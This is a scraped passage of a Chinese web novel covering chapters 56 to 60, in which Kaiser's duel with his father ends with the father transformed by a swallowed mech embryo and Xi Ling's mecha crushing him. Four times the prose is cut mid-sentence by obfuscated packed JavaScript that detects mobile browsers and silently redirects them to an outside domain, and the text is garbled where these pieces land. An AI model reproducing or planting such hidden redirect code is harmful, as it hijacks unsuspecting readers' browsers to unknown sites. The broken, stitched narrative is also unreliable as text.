;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426519|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德对白星的爱,不会比自己对龙姬少,所以他才会对拘束装甲如此抵触。 爱是给它自由,而非给它的羽翼系上黄金。 皇帝一直颤巍巍地抬着头,努力和郗灵对视。 但仅仅几句话的工夫,它就消耗了大部分精力。 它虚弱地趴伏下来,原本就疲软无力的身子更是抽掉了骨头一般。 郗灵安静地看着手里的皇帝,它没有发育完全的胸脯贴着她的掌心,透过它半透明的身体,郗灵清晰地看到,一颗小小的心脏正在它的体内艰难地搏动。 咚咚。 咚咚。 咚咚。 多么弱小的心跳声。 生命素体可以在十几米高的成熟体和几厘米长短的胚胎体之间随意切换,但皇帝的状态宛如风中残烛,即使是待在机甲钮中、同为胚胎体的龙姬,所发出的心跳声也比皇帝有力。 即使皇帝还没有回答她,但她也能看出,皇帝为了剥离那具拘束装甲,一定付出了极为惨痛的代价。 皇帝安静地趴在郗灵的手心里。 良久,它吐出了一句算不上答案的解释:“龙是永生的生灵,除非心脏停止跳动。” 心。 郗灵鬼使神差地想起那个月凉如水的夜晚,维尔莱德握着杜尚别的手,将枪口抵上自己的胸膛。 ——“吾友啊,我的弱点不在大脑,而在心脏。” ——“下一次,若你认为我应该死去,请一定将枪口对准这里。” 维尔莱德没有欺骗杜尚别。 他真的把自己的弱点告诉了他。 皇帝突然开始剧烈地咳嗽。 它出气比进气更多,只有人类巴掌大的身子微微颤抖,即使如今是温暖的秋日,但它的生命正在飞速流逝。 郗灵抚摸皇帝逐渐冰凉的身体。 她控制不住地生出了怜悯,即便这份怜悯对皇帝是种侮辱,即便几分钟前,皇帝刚刚利用这份怜悯逃出了水库。 但皇帝忽然抬起身子,用睁不开的眼睛凝视着郗灵的脸。 它近乎悲鸣地说:“凯撒……不要离开我的心。” 嗡! 龙姬尖利地鸣叫了一声。 郗灵捧着逐渐冰冷的皇帝,用力咬了咬牙,把它放在左心口袋里。 “凯撒在哪儿?”郗灵问。 “总统府,地底空洞。”皇帝答,“那里是皇宫旧址,帝国初代皇帝曾在那里……豢养了第一头龙。” * 凯撒看着父亲。 凯撒并非人名,而是一个光荣的称呼,这称呼只属于奥古斯都的掌权者。 凯撒的父亲曾经也是一名凯撒,但在坐上家主的宝座后,他的名字、容貌和过往都被手中的权力模糊,一如帝国皇帝的画像都模糊不清,唯有头顶镶满宝石的皇冠清晰耀眼。 但现在,即使距离这么近,凯撒也看不清父亲的脸。 “奥古斯都只能有一位凯撒,我的儿子。”家主的金发垂落在肩上,保养得宜的手推出一只铅盒。 那只铅盒里,封印着助他成为“凯撒”的力量。 ——那是他的“皇帝”,一台已退化为胚胎的机甲。 57. 因爱跳动的心脏(七) 在家主推出那只铅盒的同时,凯撒也推出了自己决战的筹码——一只金光闪闪的机甲钮。 二人心照不宣,默契十足。 这是一场发生于奥古斯都家族内部的决斗。 古老的帝国礼制经过三千年传承后,仍未洗去一些血腥、残忍、暴力的传统,而“弑亲”正是其中之一。 如同帝国时代,每一位新帝都在先帝的尸体面前加冕,奥古斯都家族也不可以存在两位凯撒。 当新的凯撒年满20岁,从孩子变成大人时,意味着他/她必须从“太子”变成“皇帝”,从“继承人”变成真正的“凯撒”,不然,只会有死亡这一种下场。 这场决战后,无论是年老的凯撒守住自己的名字,还是年轻的凯撒夺得自己的名字,都只有一个人能活着走出这里。 “我的儿子,很高兴在这里见到你。”家主说,“二十年前的今天,你在圣罗兰星出生,那时你还只是个羸弱的婴儿,在我的七个婚生子和十三个私生子之中毫无竞争力。但如今,你不仅将你的兄弟姐妹们杀死了一半又流放了一半,还一个人走到了我的面前,进行这场古老的成年礼……就像当年,我走到你的祖父,我的父亲面前一样。” 家主的声音在地底空洞中回荡,回音一阵阵传入凯撒的耳朵。 这里是总统府地底,帝国初代皇帝秘密建立的地宫。 传说,那位伟大的开国皇帝曾在这里豢养巨龙。 凯撒盯着家主放在铅盒上的手:“父亲,您老了,比从前更加多愁善感了。” “是啊,我老了,即使我今年只有47岁。”家主喟叹一声,仰头凝望地宫上方剥落斑驳的花纹,“但我和联邦同岁,一个47岁的人类会被称作老人,而一个47岁的国家……却年轻得仿佛还在襁褓之中。” 凯撒沉默。 “我的儿子,无论今日谁是赢家,身为奥古斯都家主和你的父亲,我都有义务告诉你家族的秘辛。”家主低笑一声。 他环视四周的视线终于落回了凯撒年轻的脸庞上。 “年轻的凯撒啊,”家主轻声说,“你知道,‘龙’是一种怎样的存在吗?” 凯撒的手在拿出那枚机甲钮后,便一直搁在桌面上。 听到家主的问题,他摩挲着机甲钮的指尖微微一顿,锐利的目光骤然投向坐在对面的父亲。 他的眼底虽闪过一丝惊讶,但那惊讶并非源于对此事一无所知,而是因这个话题本身而起。 凯撒沉声问:“您为何要提起龙?世上最后一头龙,早已在帝国历1603年死去了。” “别和我演戏了,我的儿子。”家主嗤笑一声,“你是一头年轻的狮子,空有抱负和力量,却毫无深沉的心计。每一位奥古斯都族人都知道,从你7岁那年,你的姑姑被失控的‘皇帝’杀死起,你就一直在暗中调查龙的情报——你很早就知道,机甲胚胎就是畸形劣化的龙。” 凯撒再次沉默。 他忽然意识到,自己的一举一动都被家主看在眼里。 他垂低眼眸,指尖轻轻推动机甲钮。 他的胜算……会有几分呢? “龙,一种强大的生物。它无视惯性、引力、质能守恒与因果律,言出法随,所向披靡。”家主的手仍放在铅盒上,目光落在凯撒身上。 他眼眸中沉淀着岁月的痕迹,那双眼睛仿佛两块古老的宝石:“奥古斯都这个姓氏,历史与已覆灭的帝国同样悠久。历代皇后皆出自奥古斯都家族,因此,在最后一位皇帝驾崩后,奥古斯都也成了唯一知晓龙的秘密的家族。” “但是,父亲,奥古斯都并不打算掩埋这个秘密,对吗?”凯撒逼问,“在帝国历1603年之后,帝国永远地失去了龙。然而,数千年后,又有一头龙从天而降,终结了帝国的历史,并一手托举起名为‘联邦’的新政权。但无论是帝国还是联邦,人心的贪婪亘古不变,我们利用了那头龙,它——” “是‘他’,而不是‘它’。”家主温和地指正,“或者,你可以直呼他的尊名——维尔莱德。” 凯撒猛地噤声。 这个秘密并未对他完全揭开,国父的身世和死因都扑朔成谜,即使以他的力量,也只能在历史迷雾中看到冰山一角。 但家主的话,竟然印证了他内心最疯狂的猜想。 ——维尔莱德是“龙”。 ——不是那种丑陋狰狞、长着鳞片与肉翼的四足蜥蜴,而是一种比历史更悠久、比神话更古老的神秘生命。 一如三千年前,第一头龙降临初代皇帝身边,助他建立起庞大的帝国。 三千年后,第二头龙再度降临人类世界,助人类推翻旧帝国,建立起伟大的联邦。 “驾驶机甲的最终问题,是如何驾驭龙。而驭龙这一古老技巧,除了已灭绝的皇族,便只有奥古斯都家族钻研得最深。”家主终于抬起搁在铅盒上的手。 他伸出一根手指,遥遥指向凯撒手下的机甲钮: 他感慨道:“我的儿子,你三岁那年,你姑姑的一次弄巧成拙,恰恰为你的胜利奠定了基石。” “寻常机甲不过是畸形的劣种,根本无法与我抗衡。但你的‘皇帝’不同——它既是一头强大的龙,更是一头臣服于你的龙。” “驯服高傲的龙何其艰难?除了在它诞生之初,便只有在它临死之前。前者,它尚孱弱懵懂;后者,它已被死神耗尽精力。” “而你,一个莽撞又天真的幸运儿,竟能在龙短暂的幼年期赢得它的心。这样的好运,奥古斯都家族三千年里从未有过。” 凯撒听得默然。 他的嘴巴张开又闭上,最终低语道:“不,父亲,皇帝恨我。” “恨?”家主笑了起来,“我的儿子,年轻的凯撒,你果然太过天真——龙是何等强大的生灵,怎会对蝼蚁般孱弱的人类生出恨意?若非它曾经深爱你,这恨意又从何而来?” 凯撒愣住了。 “人类极擅长巧言令色,别说帝国的第一头龙,就是联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432038|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邦的第一头龙,不也是这么被我们欺骗的吗?” 家主的眼眸闪烁起来,像是一万只魔鬼煽起讥诮的野火:“你的姑祖母,我的姑姑,十大元帅之一的叶卡捷琳娜,她本该是帝国的最后一位皇后,却抛弃奥古斯都的姓氏,加入了反抗军。但她始终流淌着奥古斯都的血脉——她为维尔莱德编织了一个甜美的囚笼,那头不谙世事的龙就这么自我囚禁,不仅献出了‘白星’,最后更是献出了他自己。” 凯撒腾地一声站了起来。 他沉声质问:“父亲,这话什么意思?” “你用‘爱’驯服了皇帝,叶卡捷琳娜也用‘爱’驯服了维尔莱德。”家主大笑着回答,“但你的姑祖母比你高明千百倍——她让维尔莱德爱上了联邦,让那头强大的龙,为了大业,为了理想,为了联邦,为了全人类的幸福,竟然就这么引颈就戮,心甘情愿流尽最后一滴血死去了!” * 总统府建立在皇宫遗址上。 尽管经过改造与翻新,部分未被发现的密道仍未封死。这些密道原本只有帝国从前的皇帝们知晓,机甲“皇帝”却也掌握了这个秘密。 它指引着郗灵左绕右绕,成功避开总统府的安保系统,经由密道进入了皇宫地底。 郗灵钻出密道,双脚落在布满灰尘的地面上,扬起细碎的尘粒。 “谢谢你,郗灵,我会永远记得你的恩情。”皇帝的声音带着明显的虚弱。 它的心跳声越发微弱,像即将熄灭的烛火。 郗灵忍不住皱眉。 此刻的皇帝状态极差,随着时间推移,情况只会更加糟糕。 更让她在意的是,皇帝显然有事瞒着她。 ——这台心思深沉的机甲,即便经常暴躁易怒,但在关乎自身存亡的大事上,它绝不会如此含糊。 它执意要见到凯撒,到底藏着什么目的? 突然,一道红光毫无征兆地扫向郗灵的身体。 郗灵下意识滚身躲避,可那道红光速度太快,还是照到了她的手臂。 这片积满灰尘的空间骤然开始震动,仿佛有沉睡已久的巨物正在缓缓苏醒。 郗灵按住躁动不安的龙姬,身体贴着墙壁一点点退到角落,双眼紧紧盯着红光的源头。 那里漆黑一片,没有尽头,整个地底空间都伸手不见五指。 震动却在这时突然停止。 那套用于防备外来者、源自帝国时代的古老警报系统被悄然关闭,扫描用的红光也随之熄灭。几秒后,在郗灵警惕的注视下,黑暗尽头亮起了两点微弱的红光。 随着红光缓缓靠近,郗灵愕然发现,那竟是一台联邦最常见的清洁型迷你机甲。 它的眼灯亮着红光,机身覆盖着一层灰尘,背上还插着扫帚、拖把和清洁刷头。 清洁型机甲头顶的方形屏幕闪烁了两下。 一行通用语缓缓滚动,清晰地呈现在郗灵眼前: 【我是主脑,很高兴见到你,郗灵。】 58. 因爱跳动的心脏(八) 看到“主脑”二字,郗灵下意识把龙姬捂得更紧了。 但下一秒,清洁机甲的屏幕上滚动出两行新文字—— 【奥古斯都的两代家主即将决斗,他们会毁掉这里。】 【请你帮帮我,我的主机房就在地底,我不想被摧毁。】 凯撒果然在这里,而且正在和他的父亲决斗! 主脑的主机房……竟然藏在总统府地底? 郗灵摸了摸左心口的口袋,确认“皇帝”的胚胎还活着,又摘下龙姬的机甲钮,牢牢攥在手心里。 确保这两样最重要的东西都稳妥后,她对清洁机甲问道:“要是我帮你,我能拿到什么好处?” 旧仇归旧仇,如今她已经来到地底,且主脑的请求与皇帝并不冲突。做一件事能拿两份好处,她没必要此刻就回绝主脑。 而且,她本就要找凯撒,借主脑带路正好节省时间。 主脑立刻滚动出新的文字: 【我会为你做一件事,任何事都可以,只要我能做到。】 “你负责带路!”郗灵当即动身,又悄悄捏了捏龙姬,提醒它随时准备开启聚能护盾,“从这里赶到凯撒所在的位置,最快需要多久?” 【十分钟。】 “这十分钟里,你要向我解释清楚地底正在发生什么,包括所有你知道的、与之相关的秘密。”郗灵没打算让主脑闲着。 情报也是一种价值,主脑掌握的情报绝不会少。 在真正出手前,她已经决定先向主脑收取一点“利息”了。 主脑没有拒绝。 清洁机甲的两排滚轮向前滚动,郗灵盯着前方带路的机甲,专注地看着它头顶不断滚动的文字。 …… 凯撒站在原地,看着家主放声大笑,随后缓缓起身,一步一步向自己走来。 家主的金发垂落肩头,宛如精心保养的昂贵丝绸。凯撒从未如此近距离地打量父亲,而让他格外生疑的是,这位47岁、年近半百的奥古斯都现任家主,脸上竟没有一丝衰老痕迹,年轻得如同自己的兄长。 再高超的科技也无法阻止岁月流逝,“保养得宜”这个理由,根本无法说服凯撒。 他一眨不眨地盯着走近的父亲。 “我的儿子,你为何如此惊讶?仿佛从未听闻过国父的秘密。”家主的脚步声在空旷的地宫里回荡。 凯撒盯着家主的脸,回应道:“不,父亲,我并不为此惊讶。” “是啊,你向来如此。”家主在三步之外停下。 他的目光落在凯撒年轻俊美的脸上,语气带着几分感慨: “你名为凯撒,姓为奥古斯都,性格却不像凯撒,作风也不像奥古斯都。” “奥古斯都家族的每一任家主都以‘凯撒’为名,且从未放弃弑君称帝的野心。” “即便在帝国三千年历史里,我们始终向皇帝进献女子、维系姻亲,试图分食龙的力量,但直到帝国覆灭,‘凯撒’也只是家族的名号,而非帝国皇帝的尊名。” “奥古斯都,这一高贵无匹的姓氏,承载着我们家族的荣耀——我们是除皇室外,唯一真正狩猎过龙的家族。” “可是,自帝国历1603年,帝国的最后一头龙死去后,龙的力量便再不为人类所用。” “至此,以帝国皇帝为首,人类以‘猎龙’为名、实则源于人性贪婪的丑陋欲望,也终于再也藏不住了。” “人类因智慧脱颖而出,可神是公平的,人类的智慧,大多用在了厮杀与内斗上,还总用冠冕堂皇的理由遮掩,像披上了皇帝的新衣。” “猎龙便是最好的例子——它符合‘挑战强者’的主流文化,能把杀戮包装成勇气,让所有人都觉得,挥刀向龙是至高的荣耀。” “可这份荣耀,本就是自欺欺人。” “死亡是平等的,所谓理想、道德、品质,不过是人类强加给自己的、虚无的价值观。若剥掉‘挑战强者’的外壳,只看‘剥夺生命’的本质,杀死一头龙与踩死一只蚂蚁,本无区别。” “更可笑的是,人类连‘猎物’都不会放过。” “有肉便分食,有毛便鞣制成皮草,有骨便做成标本挂墙——这哪里是‘不浪费’,分明是把龙的价值榨干到最后一分,连敬畏的伪装都懒得维持。” “所有溢美之词都是虚妄,人类本就是被贪婪驱动的物种:活着便求温饱,温饱便求富余,富余便求权力、地位、尊严、爱……永远填不满欲望的窟窿。” “我的孩子,你的心思纯粹得不像凯撒,不像奥古斯都,甚至不像人类。我始终不明白,你知道龙的真相后,为何还能心无旁骛地驾驶机甲,对里面的胚胎毫无芥蒂与垂涎?又为何殷切地抓住一切与人厮杀决斗的机会,哪怕这会让你跌下权力的天梯?” 凯撒听完父亲的问题,盯着对方,轻轻笑了一声。 他看明白了——这位隐去姓名的前任凯撒、伟大的奥古斯都家主、银河棋局的执棋者,竟真的在为这个简单的问题困惑。 家主那双宝石般的眼睛望着凯撒,似乎想在决斗前,得到这个问题的答案。 凯撒坦率地答:“很简单,我享受竞争,仅此而已。” 家主一愣。 “父亲,你太深陷于自己假想的卑劣人性了。”凯撒摊开双手,“你给竞争赋予了恶性意义,认为竞争者必然为了争夺有限的资源而筛选优劣,用手段踩下弱者、拉下强者。就像现在的联邦,优绩主义异化了一切——学习不是为了求知,是为了考上名校;劳动不是为了创造,是为了换取报酬。” “我乐于竞争,从不是为了获益,只是享受竞争本身。” “我不管自己有怎样的名姓,出身高贵或低贱,是男是女,年轻或衰老。我喜欢竞争,参与竞争,回味竞争,仅此而已。” 凯撒看向三步外的父亲——对方骨节分明、毫无皱纹的手握着铅盒,像一尊生动洁白的帝国大理石雕塑。 他第一次兴奋地大笑:“所以,父亲,您把我想复杂了。我来赴这场决斗,和继承家主之位无关,我只是想……亲手杀死您!” 话音刚落,凯撒动了。 他伸手去抓桌上的机甲钮,引得家主立刻朝那按钮扑来。 但抓机甲钮只是假动作,凯撒真正的目的并非释放机甲—— 砰! 枪声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436476|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地宫中响起,层层回声撞在花纹剥落的石壁上。 凯撒盯着近在咫尺的父亲。 家主的上半身趴在桌上,洁白修长的手抓着机甲钮,胸口却炸开了一个大洞。 方才,家主扑向桌面时,凯撒拔出了袖中藏着的手枪,在极近的距离里射出一发子弹,精准命中了对方的心脏。 没人能在心脏中弹后存活。 凯撒看得真切,家主心口的枪伤贯穿前后,心脏已经碎成数片。 他收回冒烟的手枪,静静站在父亲身旁,等待对方咽下最后一口气。 但家主竟然诡异地笑了。 那笑容是无声的,却让凯撒瞬间汗毛倒竖。 他立刻想要补枪,家主却缓缓直起趴在桌上的上身,心口的致命伤冒出鲜血,顺着胸膛和手臂往下流淌。 家主染血的手拿起凯撒的机甲钮,像个耐心的父亲般问道:“我的儿子,你的机甲钮……为什么是空的?” 凯撒盯着那只手,瞳孔骤然放大。 簌簌! 簌簌! 簌簌! 在凯撒震惊的注视下,家主那只保养得宜的手,像盛放的花苞般层层展开。 家主的皮肤、血肉、骨头一点点暴露,又被另一种物质覆盖、吞噬、取代。 一层半透明、琥珀质地的外骨骼,以他的手为养料生长出来,成了他新的“手”,而原来的手,像琥珀中封印的遗骸,静静嵌在里面。 这还只是开始。 外骨骼吞噬完手,又像嗅到饥饿信号一般,向家主空洞的心口蔓延。破碎的心脏本应无法修复,可这神秘的外骨骼,竟为他凝聚出一颗崭新的“心脏”。 那颗“心脏”成形后始终静止,如同死物般毫无生机。 凯撒深吸一口气,缓慢而坚定地举起枪。 家主半个身子已被外骨骼包裹。 他在凯撒再次扣下扳机前,向凯撒举起手中的铅盒。 凯撒的食指一点点扣下扳机,家主却毫不畏死,轻轻推开了铅盒的盖子—— 里面是空的。 凯撒第一次目眦欲裂:“你吃了胚胎!!!” “我的儿子,人性因贪婪而丑陋,但这份丑陋,是奥古斯都家族三千年不衰的唯一真谛。”家主沙哑地笑了,凯撒听不出那笑声里藏的是遗憾、庆幸,还是二者皆有,“而你,一个只享受竞争、不追逐名利的人,根本无法为奥古斯都带来新的繁荣——你不配做凯撒,更不配姓奥古斯都!” 砰! 凯撒开出第二枪。 子弹精准击碎了家主凝聚的第二颗“心脏”,可那“心脏”碎裂后,竟又重新汇聚成形。 它没有跳动,却能让家主“丑陋”地活着。 凯撒深吸一口气,默数剩余的子弹,打算放手一搏。 可下一秒,二人头顶的石壁突然传来一阵震动与异响。 咔嚓! 一只雪白涂装的合金大脚,猛地踹穿了这片空间的石质穹顶,漫天飞尘与石块倾泻而下,落在两人周围。 凯撒猛地抬头。 于一片弥漫的飞尘中,他看见了两只澄白的眼灯。 59. 因爱跳动的心脏(九) 那机甲正是龙姬。 主脑请求郗灵保护主机房,但郗灵始终没有正式应允。 抵达地宫上方后,她毫不犹豫地召唤出机甲,以最直接暴力的方式,一脚踹穿了地宫的穹顶。 随着龙姬一脚踹下,飞尘瞬间弥漫整个空间,视野被一片灰蒙蒙的混沌笼罩。 但郗灵没有半分迟疑,驾驶着龙姬从穹顶的破洞中纵身跃下,同时从装甲臂匣中抽出一把粒子刀,径直捅向灰尘里那道模糊难辨的畸形轮廓。 叮! 一声奇异又清脆的巨响骤然炸开,这把高速振动、足以撕裂拘束装甲的粒子刀,竟被某个硬度更高的物体死死挡住。 郗灵立刻弃刀后撤,下一秒,半透明的外骨骼突然从怪物体表蔓延而出,像松脂包裹小虫般,将仍在高速振动的粒子刀牢牢吞噬。 随着飞尘渐渐沉降,怪物的全貌终于暴露在郗灵眼前。 他依稀保留着人类的形态,却被厚重狰狞的外骨骼完全覆盖。那些外骨骼毫无规律地狂野生长,向四面八方伸出扭曲怪异的骨刺,几乎遮蔽了他所有躯体,唯独心口处留着一个大洞。 一颗灰暗静止的“心脏”凝固在洞中央。 即便这颗“心脏”毫无跳动迹象,怪物却仍维持着诡异的生机。 凯撒终于从震惊中回过神。 他认出了龙姬,并急声提醒:“郗灵!他吞掉了机甲胚胎,根本杀不死——” 轰! 话音未落,龙姬周身燃起熊熊金焰。 自从剥离生命方程式后,龙姬暴走时的火焰,便从赤红转为金色。 温度更高,威力更强,却比从前更易掌控。 郗灵浸泡在母液中,尽管机甲被金焰包裹,她所处的空间却始终一片清凉,龙姬正在不遗余力地释放脊髓液,一如那次意外暴走时的模样。 雪色装甲覆盖的机甲,被金焰裹成了地底的一颗太阳。 龙姬伸出燃烧的铁手,一把攥住挣扎的怪物,金焰顺着怪物的躯体飞速蔓延,瞬间将其吞没。 “你是……龙……”怪物艰难地吐出几个古怪音节。 郗灵没给他继续说话的机会。 她操控龙姬骤然发力,直接捏碎了怪物的躯体,连那颗诡异的“心脏”,也被碾成无法复原的碎片。 怪物的外骨骼坚硬异常,但在龙姬的金焰面前,却脆弱得像一触即碎的玻璃。 怪物仍在徒劳地挣扎复活,破碎的躯体不断重组,可龙姬的铁手始终牢牢攥着他,金焰持续灼烧着他的每一寸“血肉”。 那颗破碎的“心脏”几次试图凝聚,都在金焰中再次化为齑粉。 从破开穹顶到压制怪物,全程不过半分钟。 凯撒僵在原地,金发被灰尘染得灰蒙蒙,却顾不上掸落。几秒后,他终于从极致的震惊中挣脱,眼中的失神瞬间转化为渴望与强者对决的熊熊战意。 他甚至已经开始行动,向暴走的龙姬迈出一步。 可龙姬朝他伸出了一只手。 凯撒直视着那只燃烧的铁手,没有畏惧,没有退缩,唯有难掩的兴奋。 然而,当铁手伸到他面前时,手部的金焰突然“噗”地熄灭,随后缓缓张开。 那掌心覆盖着冰冷的合金,一眼看去,里面空无一物。 ……不,并非空无一物。 凯撒看着龙姬的手心,桀骜的眼眸骤然颤了一下。 机甲龙姬是十五米高的伟岸巨人,伸出的手掌足有一米多长。 可此刻,这只宽大的掌心里,竟静静躺着一枚不足十厘米的胚胎。 那枚胚胎小得几乎嵌在掌心装甲的接缝里,半透明的躯体没有皮肤,胸脯伴着呼吸微弱起伏,仿佛一阵风就能吹散。 凯撒怔怔地伸出手,用最轻的力道从龙姬掌心捧起胚胎。 ——即便没有那身由他亲手设计涂装的装甲,他也能确定,这就是“皇帝”。 可“皇帝”的装甲去哪了? 它为什么会如此虚弱? 它不是该被安置在维尔莱德军校的水库里吗? 此时的龙姬仍维持着暴走状态,金焰牢牢压制着怪物的复活迹象。 郗灵躺在驾驶舱中,一边观察着凯撒的神情,一边快速复盘—— 主脑早已不见踪影,那台清洁机甲显然不是它的本体。 但她心里清楚,主脑欠了她两个人情:一次是上次意外暴走时,主脑暗中作梗;另一次便是今天,她从怪物手中守住了主脑的主机房。 当然,还有另一种可能——主脑藏了起来,此刻正躲在暗处,静静旁观着这一切。 不过主脑的事可以暂时搁置,她还有更重要、更紧迫的问题要解决。 “皇帝,”郗灵的声音透过机甲的外置发音装置传出,“我已经把你带到凯撒身边了,现在,你该回答我的问题了。” ——你为什么执意来到凯撒身边?哪怕要付出近乎死亡的代价? “皇帝”颤巍巍地抬起小小的脑袋,仰视着龙姬澄白的眼灯。 它已经虚弱到了极致,生命像沙漏里的沙子般飞速流逝,一旦最后一丝生机耗尽,它便会投入死神的怀抱。 它轻轻咳了一声,半透明躯体里,那颗小小的心脏正孱弱地搏动着。 “我回答你,郗灵。”皇帝的声音微弱得像风中残烛,“我曾说过,龙是不死的生灵,除非心脏停止跳动——但我没有告诉你,当龙有了在乎的对象,就会生出弱点。这个弱点会让永不停跳的心脏,出现停跳的可能。你永远无法用力量杀死一头龙,却能让它为在乎的人主动停下心跳。” 郗灵的眼神骤然一凝。 她看向凯撒—— 那张向来锋芒毕露的年轻脸庞上,耀眼的战意竟然罕见地褪去了。 他第一次停下脚步,不再追逐厮杀与死亡,不再为下一次“狩猎”蓄势,而是真正让灵魂静了下来。 他开始回望过去的胜利与失败、骄傲与挣扎,还有……他和皇帝的那些曾经。 “我因为凯撒的脐带血保留了完整的神智。我爱他,他就是我的弱点。”皇帝继续说着,声音里带着一丝颤抖。 “我早就知道凯撒为什么来中央星——联邦的格局即将改写,利益要开启新一轮分配。他不在乎奥古斯都家族的荣耀,却绝不会放弃自己的责任。所以他来了,还把我安置在维尔莱德军校的水库里……” “杜尚别元帅是联邦唯一在世的开国元勋,凯撒觉得,无论自己赢还是输,我都能在元帅的庇护下活下去,而不是被回收销毁。” 凯撒捧着胚胎的手轻轻收紧。 他的声音里带着一丝不易察觉的苦涩:“我以为你不会懂,我以为你一定会恨我。” “恨!我当然恨你!”皇帝突然剧烈颤抖起来。 它小小的身体像承受着剧痛般抽搐着,半透明的躯体甚至透出淡淡的血色:“你太自私了,凯撒!你把你的‘保护’当成理所当然,自顾自为我安排好结局——可你有没有问过我想不想要?如果你死了,你以为我会愿意独自活着吗?没有你的世界,对我来说和死了有什么区别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441687|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 凯撒沉默地看着掌心里的胚胎。 “凯撒是我的弱点,我对他的爱是我的弱点,但他斗不过他那个狡诈又病态的父亲。我想要他活着,他活着,我才有活着的意义。”皇帝看着龙姬的眼灯,咳嗽着笑了起来。 它的声音渐渐低了下去:“如今的一切都如我所料。郗灵,你是特殊的,就算家主吞掉了那枚胚胎,你也能轻易杀死他。凯撒活下来了,可我……始终有一点不甘心。” 凯撒掌心里的胚胎正在缓缓萎缩,从最初的半个巴掌大,缩成了拇指大小,连呼吸都变得微弱。 “皇帝”的计划确实为凯撒带来了胜利,可这份胜利的祭品,却是它自己的性命。 命运向来公平,得到一些,总要失去另一些。 郗灵一时间不知道该说什么。 她觉得这一切荒谬又诡异,甚至觉得皇帝的选择一点也不聪明——可世间的爱与执念,本就不是用“聪明”能衡量的,因爱失了理智的生灵,大抵都是如此。 她没资格评判,也无话可说。 凯撒看着手心里渐渐萎缩的皇帝,缓缓开口:“这是我第一次听懂你说话,皇帝。” 郗灵一怔。 她忽然后知后觉地想起——从前,“皇帝”穿着拘束装甲时,装甲会阻挡机甲散发出的谐波,机甲师与机甲之间,根本无法实现真正的“对话”。 凯撒此刻听到的,是“皇帝”卸下所有束缚后,最真实的心声。 “你这样为我谋算,我却并不高兴。”凯撒的指尖轻轻拂过胚胎半透明的躯体,“无论你多爱我,你首先应该爱你自己。把另一个人当成自己的全部,当成生存的唯一意义,这太可怕了。” “那你当初为什么把我留在水库里?”皇帝突然诘问道。 凯撒的动作顿了一下。 “你太傲慢了,凯撒。”皇帝的声音里带着浓浓的怆然,“你傲慢到只允许自己一个人面对失败,一个人奔赴死亡。可我请求你,下次不要再这样了——无论去哪里,无论要面对什么,都请带上我。就算是一起死,对我来说,也是最甜蜜的结局。” 凯撒沉默了很久,久到郗灵都以为他不会回答。 可就在“皇帝”的呼吸快要停止时,凯撒开口了。 他轻声说:“好。” 就在这个回答出现的瞬间,两种截然不同的声音同时传入郗灵耳中。 一种声音强劲而有力,满是生机——“皇帝”因为这句回答,那颗孱弱不堪的心脏突然开始有力搏动,萎缩的躯体竟然缓缓舒展,重新透出淡淡的光泽。 而另一种声音,却像玻璃碎裂般刺耳,带着死亡的冰冷——来自龙姬铁手钳制中的怪物。 那怪物是吞噬了上一代“皇帝”胚胎的奥古斯都家主,此前,他一直在金焰中艰难复生。 可在凯撒说出“好”的一瞬间,支撑他复活的那股力量,突然消失得无影无踪。 怪物剧烈地咳嗽起来,从口中吐出一团血肉模糊的东西——竟是上一代“皇帝”的胚胎! 而怪物心口处,那枚由外骨骼凝聚的、静止的“心脏”,也在金焰中彻底崩裂,碎成了无数片,像一颗再也无法拼凑的铅心。 上一代“皇帝”的胚胎拖着残破的躯体,艰难地爬到“心脏”的碎片旁。 在所有人的注视下,它一口一口地啃食掉那些碎片,随后发出一声凄怆的悲鸣,像是在为自己,也为这扭曲的宿命哀悼—— “吾爱啊!”它凄厉地尖叫,“你的心……从头到尾都是死的!” 60. 地底 胚胎吞掉那颗破碎的心脏,发出一声凄怆的哀鸣后便瘫软下来,生命力在一瞬间流逝殆尽,宛如被死神猛地抽走了灵魂。 